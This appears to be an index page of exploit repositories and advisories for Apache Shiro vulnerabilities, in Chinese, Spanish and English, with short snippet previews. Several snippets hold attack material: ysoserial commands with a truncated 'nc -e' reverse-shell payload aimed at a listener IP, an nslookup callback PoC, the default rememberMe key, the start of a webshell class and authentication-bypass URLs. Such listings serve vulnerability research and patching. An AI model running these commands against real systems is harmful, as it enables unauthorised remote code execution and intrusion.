shiro-cve-2020-17523

Apache Shiro 两种姿势绕过认证分析（CVE-2020-17523） 0x01 漏洞描述 Apache Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API，您可以快速、轻松地获得任何应用程序，从最小的移动应用程序到最大的网络和企业应用程序。 当它和 Spring 结合使用时，在一定权限匹配规则下，攻击者可通过构造特殊的 HTTP 请求包完成身份认证绕过。 影响范围：Apache Shiro 1.7.1 0x02 漏洞环境搭建 shiro 1.7.0...

ShiroScan

ShiroScan Shiro=1.2.4 deserialization, one-click detection tool 改动内容：1.新增4个利用链模块CommonsCollections7-10，预计增加成功率30%，已打包成新ysoserial的jar包，请勿更换 改动内容：2.增加多线程，虽模块增加但速度却提高300% 集成21个key进行fuzz If it helps, please give a star. Corresponding blog article: http://www.svenbeast.com/post/tskRKJIPg/ pip3 install...

CVE-2024-4956

CVE-2024-4956 该仓库包含一个用于自动化利用 CVE-2024-4956 的 Python 工具，能够从输入文件中批量测试文件路径，并自动将存在的文件路径内容保存到磁盘以供分析。漏洞详情可参见此处。 用法 usage: cve-2024-4956.py -h -f FILE -p PROXY -u URL --test -r RELATIVEPATH CVE-2024-4956 Path Traversal Exploit Script options: -h, --help show this help message and exit -f FILE, --file FI...

WebLogic-Shiro-shell

Java反序列化技术分享 本次分享涉及的东西有以下几点： 1. Java序列化和反序列化基础 2. 为什么在反序列化的时候会产生漏洞？ 3. Java反射 4. ysoserial CommonsCollections2、CommonsCollections5 5. Java ClassLoader 加载类的几种方法 6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE 7. Shiro-550 rememberMe 硬编码导致的反序列化RCE 8. WebLogic + Shiro 反序列化一键注册filter内存shell Java序列化和反序列化基...

CVE-2020-13933

CVE-2020-13933 靶场 shiro 1.6.0 身份认证绕过漏洞 PoC http://127.0.0.1:8080/res/%3bpoc 靶场环境 代码说明 ShiroConfig.java： 权限配置， 当请求 /res/ 资源时， 302 跳转到登陆页面进行身份认证 NameController.java： · /res/name： 请求名为 name 的的资源（触发身份认证） · /res/： 不请求任何资源（不触发身份认证） 靶场验证 不在请求路由中指定资源名称时，不触发身份验证，也无资源返回： http://127.0.0.1:8080/res/...

Shiro_Xray

ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 extends...

shiro

CVE-2026-49268 — Análisis y Remediación de una Vulnerabilidad de Omisión de Autenticación por Inyección LDAP | ---|--- Rama| 1.13-CVE-2026-49268 Autor| Jinwoo Hwang https://JinwooHwang.com Esta rama 1.13-CVE-2026-49268 contiene una remediación de seguridad integral de una Vulnerabilidad de Omisió...

cve-2020-13933

cve-2020-13933 cve-2020-13933 apache shiro权限绕过漏洞 这个复现非常简单，先用IDEA+shiro搭环境 参考：https://www.cnblogs.com/ph4nt0mer/p/13535999.html 然后运行，访问，抓包即可...

apache__shiro_CVE-2023-34478_1-11-0

Apache Shiro Apache Shiro 是一个强大且易用的 Java 安全框架，提供身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API，您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。 文档和示例 http://shiro.apache.org 教程 10 分钟教程 Web 应用程序 许可证 Apache License, Version 2.0...

CVE-2016-4437

shiro-1.2.4-漏洞工具 解rememberMe值并导出对应的class文件 使用方式 xk-mt-rememberMe解码.py 运行讲解：运行后先输入密钥或者回车默认密钥为‘kPH+bIxk5D2deZiIxcaaaA==’，在输入请求包里面的rememberMe值，解析后会提示输入导出文件名会自动加class,如果不导出则直接回车。 运行启动：python xk-mt-rememberMe解码.py xk-mt-单个域名单个密钥检测.py...

CVE-2016-4437

CVE-2016-4437 用于利用CVE-2016-4437 Apache Shiro反序列化漏洞（由于硬编码加密密钥）的Python POC 使用示例： ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun 更多信息请参见注释和代码。...

shiro-cve-2022-32532

Apache Shiro CVE-2022-32532 复现环境 这是一个用于复现 CVE-2022-32532 （Apache Shiro RegExPatternMatcher 认证绕过）的最小化 Web 应用。 漏洞说明 CVE : CVE-2022-32532 影响版本 : Shiro 1.9.1 原因 : RegExPatternMatcher...

shirocrack

shirocrack 用 Golang 编写的 Apache Shiro 哈希的简单哈希破解工具。适用于利用 CVE-2024-4956。 长话短说 CVE-2024-4956 是 Sonatype Nexus Repository 中的一个路径穿越漏洞，未经身份验证的攻击者只要知道路径，就可以通过网络访问服务器读取系统中的任意文件 我看到的所有利用演示都是拉取 /etc/passwd 就完事了，这固然好，但并没有 真正 解释它为什么获得那么高的 CVSS 评分 Nexus 3.60.0 在默认设置下使用 OrientDB，这是一种 NoSQL 数据库，说实话我还不完全理解 Orient...

SHIRO-721

Vulnerabilidad RCE de Padding Oracle en SHIRO-721 RememberMe 0x00 Introducción: El cookie rememberMe de la cookie está cifrado mediante el modo AES-128-CBC, lo que lo hace susceptible a ataques de oracle de relleno padding oracle. Un atacante puede utilizar un cookie RememberMe válido como prefij...

SHIRO-550

Vulnerabilidad de deserialización de Shiro RememberMe 1.2.4（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2022-32532

CVE-2022-32532 acerca de Este es un proyecto de demostración, que solo muestra una de las condiciones para explotar esta vulnerabilidad CVE-2022-32532. De hecho, hay más formas de explotarla, siempre que los desarrolladores usen RegExPatternMatcher, existirá una posible vulnerabilidad de omisión...

shiro-cve-2010-3863

apach shiro路径穿越 CVE-2010-3863 漏洞复现 docker本地搭建环境 打开yakit抓包 payload:/./admin/ 成功...

Server-Side Request Forgery

Apache Shiro is vulnerable to Server-Side Request Forgery. The vulnerability is due to insufficient validation of the form‑resubmit target in the Jakarta EE integration module, where the server will initiate an outbound connection to a URL supplied in a crafted HTTP request and transmit...

Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability

Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter. id: CVE-2016-4437 info: name: Apache Shiro 1.2.4 Cookie RememberME -...

LDAP Distinguished Name (DN) injection vulnerability in Apache Shiro

A remote attacker can inject LDAP special characters into the Distinguished Name DN construction in DefaultLdapRealm class. User-supplied username input is directly concatenated into the LDAP DN template without any escaping of RFC 2253 special characters. This allows an attacker to manipulate th...